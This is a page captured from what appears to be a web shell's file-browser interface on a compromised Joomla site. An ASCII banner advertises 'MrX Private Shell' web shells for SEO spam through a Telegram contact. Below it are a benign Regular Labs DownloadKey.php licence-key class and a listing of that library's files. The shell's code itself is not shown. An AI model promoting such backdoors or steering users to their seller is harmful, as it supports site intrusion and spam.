__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /** * @package Regular Labs Library * @version 23.12.10783 * * @author Peter van Westen <[email protected]> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Library; defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use Joomla\CMS\Layout\FileLayout as JFileLayout; class DownloadKey { public static function get(bool $update = true): string { $db = DB::get(); $query = DB::getQuery() ->select('extra_query') ->from('#__update_sites') ->where(DB::like(DB::quoteName('extra_query'), 'k=%')) ->where(DB::like(DB::quoteName('location'), '%download.regularlabs.com%')); $db->setQuery($query); $key = $db->loadResult(); if ( ! $key) { return ''; } RegEx::match('#k=([a-zA-Z0-9]{8}[A-Z0-9]{8})#', $key, $match); if ( ! $match[1]) { return ''; } $key = $match[1]; if ($update) { self::store($key); } return $key; } public static function getOutputForComponent( string $extension = 'all', bool $use_modal = true, bool $hidden = true, string $callback = '' ): string { $id = 'downloadkey_' . strtolower($extension); Document::script('regularlabs.script'); Document::script('regularlabs.downloadkey'); return (new JFileLayout( 'regularlabs.form.field.downloadkey', JPATH_SITE . '/libraries/regularlabs/layouts' ))->render( [ 'id' => $id, 'extension' => strtolower($extension), 'use_modal' => $use_modal, 'hidden' => $hidden, 'callback' => $callback, 'show_label' => true, ] ); } public static function isValid(string $key, string $extension = 'all'): string { $key = trim($key); if ( ! self::isValidFormat($key)) { return json_encode([ 'valid' => false, 'active' => false, ]); } $cache = new Cache; $cache->useFiles(1); if ($cache->exists()) { return $cache->get(); } $result = Http::getFromUrl('https://download.regularlabs.com/check_key.php?k=' . $key . '&e=' . $extension); return $cache->set($result); } public static function isValidFormat(string $key): bool { $key = trim($key); if ($key === '') { return true; } if (strlen($key) != 16) { return false; } return RegEx::match('^[a-zA-Z0-9]{8}[A-Z0-9]{8}$', $key, $match, 's'); } public static function store(string $key): bool { if ( ! self::isValidFormat($key)) { return false; } $query = DB::getQuery() ->update('#__update_sites') ->set(DB::is('extra_query', '')) ->where(DB::like(DB::quoteName('location'), '%download.regularlabs.com%')); DB::get()->setQuery($query)->execute(); $extra_query = $key ? 'k=' . $key : ''; $query = DB::getQuery() ->update('#__update_sites') ->set(DB::is('extra_query', $extra_query)) ->where(DB::like(DB::quoteName('location'), '%download.regularlabs.com%')) ->where(DB::combine([ DB::like(DB::quoteName('location'), '%&pro=%'), DB::like(DB::quoteName('location'), '%e=extensionmanager%'), ], 'OR')); $result = DB::get()->setQuery($query)->execute(); JFactory::getCache()->clean('_system'); return $result; } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Form | Folder | 0775 |
|
|
| ActionLogPlugin.php | File | 8.29 KB | 0664 |
|
| Alias.php | File | 3.22 KB | 0664 |
|
| ArrayHelper.php | File | 14.13 KB | 0664 |
|
| Article.php | File | 10.14 KB | 0664 |
|
| Cache.php | File | 4.69 KB | 0664 |
|
| Color.php | File | 1.85 KB | 0664 |
|
| DB.php | File | 15.25 KB | 0664 |
|
| Date.php | File | 5.25 KB | 0664 |
|
| Document.php | File | 13.21 KB | 0664 |
|
| DownloadKey.php | File | 3.92 KB | 0664 |
|
| EditorButtonPlugin.php | File | 5.9 KB | 0664 |
|
| EditorButtonPopup.php | File | 5.53 KB | 0664 |
|
| Extension.php | File | 14.81 KB | 0664 |
|
| FieldsPlugin.php | File | 1001 B | 0664 |
|
| File.php | File | 14.92 KB | 0664 |
|
| Html.php | File | 22.41 KB | 0664 |
|
| HtmlTag.php | File | 4.84 KB | 0664 |
|
| Http.php | File | 4.54 KB | 0664 |
|
| Image.php | File | 29.04 KB | 0664 |
|
| Input.php | File | 4.64 KB | 0664 |
|
| Language.php | File | 985 B | 0664 |
|
| License.php | File | 1.78 KB | 0664 |
|
| MobileDetect.php | File | 748 B | 0664 |
|
| ObjectHelper.php | File | 2.92 KB | 0664 |
|
| Parameters.php | File | 7.27 KB | 0664 |
|
| Php.php | File | 6.81 KB | 0664 |
|
| PluginTag.php | File | 16.31 KB | 0664 |
|
| Protect.php | File | 27.82 KB | 0664 |
|
| RegEx.php | File | 8.02 KB | 0664 |
|
| ShowOn.php | File | 1.44 KB | 0664 |
|
| SimpleCategory.php | File | 1.7 KB | 0664 |
|
| StringHelper.php | File | 22.9 KB | 0664 |
|
| StringReplacer.php | File | 13.66 KB | 0664 |
|
| SystemPlugin.php | File | 15.4 KB | 0664 |
|
| Title.php | File | 2.8 KB | 0664 |
|
| Uri.php | File | 6.06 KB | 0664 |
|
| Variables.php | File | 11.55 KB | 0664 |
|
| Version.php | File | 8.32 KB | 0664 |
|
| Xml.php | File | 1.53 KB | 0664 |
|